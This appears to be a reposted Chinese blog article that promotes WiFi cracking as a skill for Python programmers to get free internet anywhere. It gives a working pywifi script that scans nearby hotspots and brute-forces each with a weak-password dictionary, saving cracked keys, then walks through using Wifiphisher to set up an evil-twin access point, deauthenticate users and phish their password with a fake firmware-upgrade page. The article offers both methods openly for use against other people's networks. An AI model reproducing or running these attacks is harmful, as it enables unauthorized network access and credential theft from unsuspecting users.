WIFI破解,Python程序員必學(xué)技能。WIFI已經(jīng)完全普及,現(xiàn)在Python程序員沒網(wǎng),走到哪里都不怕!教你們一招,如何在圖片中提取Python腳本代碼。圖片發(fā)送至手機QQ長按后點識別圖片中漢字,如果你還不知曉,趕緊去試一試,能給我們減少很大的工作量。
想要WIFI破解,python+字典,這是是少不了的。熱點加弱口令也是核心。字典自己加精,你的字典有強大,你能破解的WIFI就越多。后面就不再提了。提供兩種方法,一般人學(xué)到一種即可。
方法一
環(huán)境準備
python2.7
pywifi模塊
字典
清除系統(tǒng)中的任何wifi連接記錄
導(dǎo)入模塊
這里用的模塊就這三個 pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b'OK ':判斷需要修改,不然會有很多的提示信息。
from pywifi import *import timeimport sys
字典準備
隨機搞的wifi弱口令TOP10
123456781234567898888888812345678900000000087654321666688881122334414725836911111111
配置掃描器
推薦掃描時常可以設(shè)置在15-20秒之間 測試時常則可以自定義,考慮到認證速度于距離的關(guān)系,我一般設(shè)置在15左右,再久的也沒意義 到時候就算破解成功的熱點,信號也好不到哪里。
def main(): #掃描時常 scantimes = 3 #單個密碼測試延遲 testtimes = 15 output = sys.stdout #結(jié)果文件保存路徑 files = "TestRes.txt" #字典列表 keys = open(sys.argv[1],"r").readlines() print "|KEYS %s"%(len(keys)) #實例化一個pywifi對象 wifi = PyWiFi() #選擇定一個網(wǎng)卡并賦值于iface iface = wifi.interfaces()[0] #通過iface進行一個時常為scantimes的掃描并獲取附近的熱點基礎(chǔ)配置 scanres = scans(iface,scantimes) #統(tǒng)計附近被發(fā)現(xiàn)的熱點數(shù)量 nums = len(scanres) print "|SCAN GET %s"%(nums) print "%s %-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s %s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70) #將每一個熱點信息逐一進行測試 for i,x in enumerate(scanres): #測試完畢后,成功的結(jié)果講存儲到files中 res = test(nums-i,iface,x,keys,output,testtimes) if res: open(files,"a").write(res)
掃描周圍熱點
def scans(face,timeout): #開始掃描 face.scan() time.sleep(timeout) #在若干秒后獲取掃描結(jié)果 return face.scan_results()
熱點測試
這里后續(xù)推薦將掃描過程數(shù)據(jù)入庫,防止重復(fù)掃描,且更加直觀。
def test(i,face,x,key,stu,ts): #顯示對應(yīng)網(wǎng)絡(luò)名稱,考慮到部分中文名嘖顯示bssid showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid #迭代字典并進行爆破 for n,k in enumerate(key): x.key = k.strip() #移除所有熱點配置 face.remove_all_network_profiles() #講封裝好的目標嘗試連接 face.connect(face.add_network_profile(x)) #初始化狀態(tài)碼,考慮到用0會發(fā)生些邏輯錯誤 code = 10 t1 = time.time() #循環(huán)刷新狀態(tài),如果置為0則密碼錯誤,如超時則進行下一個 while code!=0 : time.sleep(0.1) code = face.status() now = time.time()-t1 if now>ts: break stu.write(" %-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace(" ",""))) stu.flush() if code == 4: face.disconnect() return "%-*s| %s | %*s |%*s "%(20,x.ssid,x.bssid,3,x.signal,15,k) return False
案例
這里顯示本次測試使用了11個弱口令,并掃描到了20個熱點,然后開始坑爹的跑起來了
WIFIID熱點的id號 每跑一個會減1
SSID OR BSSID熱點的ssid名或mac地址
N對熱點的連接狀態(tài),這個在
time當前所花去的時間
signal熱點的信號強度,若小越好
KEYNUM測試密碼的id 每跑一個會減1
KEY當前測試的密碼
方法二
目前常見的Wi-Fi加密方式有WEP、WPA2和WPS(鏈接為各自的破解方式),不過有網(wǎng)友反映以往破解WPA2的方法耗時太長,而且不適用于所有WPS啟動的接入點。而今天介紹的這種方法則更加省時省力。
主要原理
創(chuàng)建一個偽AP來“貍貓換太子”,然后撤銷用戶AP的授權(quán),
通知用戶需要進行“固件升級”,需要重新驗證密碼。你的假AP由于具有相同的SSID,用戶便會“交代”密碼。
這樣你就能得到用戶的密碼,并且讓用戶采用你的偽AP做為自己的接入點。而對方一無所知。
之前也有類似的腳本,例如Airsnarf;不過我們這次采用的是Wifiphisher,這個優(yōu)化過的自動化腳本比起前者更加方便。
要完成上述“大業(yè)”,你需要KaliLinux和兩個無線適配器,其中一個必須能支持數(shù)據(jù)包注入。
第一步:下載Wifiphisher
如圖所示,這是已經(jīng)解開了的Wifiphisher源代碼。
當然,如果你懶,也可以復(fù)制GitHub上的代碼,不用謝~
第二步:導(dǎo)航到該目錄
接下來,導(dǎo)航到Wifiphisher創(chuàng)建時被解壓的目錄。就圖示而言,為/wifiphisherWi-Fi1.1。
當你看到目錄內(nèi)容時,你會看到wifiphisher.py的腳本。
第三步:運行腳本
可以鍵入下面的腳本實現(xiàn)。
kali > python wifiphisher.py
注意這里有一個問題:
如果是第一次運行腳本的話,它可能會出現(xiàn)提示安裝hostpad的信息,鍵入Y繼續(xù)安裝即可。
完成的時候,再次運行Wifiphisher腳本。
這次將運行8080和43端口的Web服務(wù)器,然后開始搜索附近的Wi-Fi網(wǎng)絡(luò)。
等待搜索完成,我們會發(fā)現(xiàn)一系列Wi-Fi網(wǎng)絡(luò)名。最下方的wonderhowto就是我們的目標。
第四步:獲取密碼
按下Ctrl+C,鍵入想要復(fù)制的AP數(shù),在這里我們選擇12。
敲下回車,Wifiphisher會顯示如下結(jié)果,顯示了正在使用的界面,還有正被攻擊及復(fù)制的AP所在的SSID。
目標用戶已經(jīng)取消驗證他們的AP,隨后會出現(xiàn)一個固件升級的信息,請求他們重新驗證。一旦重新驗證,他們接入的就是偽接入點了。
當用戶輸入密碼,它會通過Wifiphisher的開放終端傳輸給你,隨后他們依然像平時一樣上網(wǎng),風(fēng)平浪靜,然而他們并不知道我們已經(jīng)獲得了密碼。
現(xiàn)在你可以開始愉快地蹭Wi-Fi了!
-
WIFI
+關(guān)注
關(guān)注
81文章
5308瀏覽量
204767 -
python
+關(guān)注
關(guān)注
56文章
4807瀏覽量
85037
原文標題:學(xué)了Python后,我走哪里都可以連WIFI!為什么?反正就是這么強!
文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
評論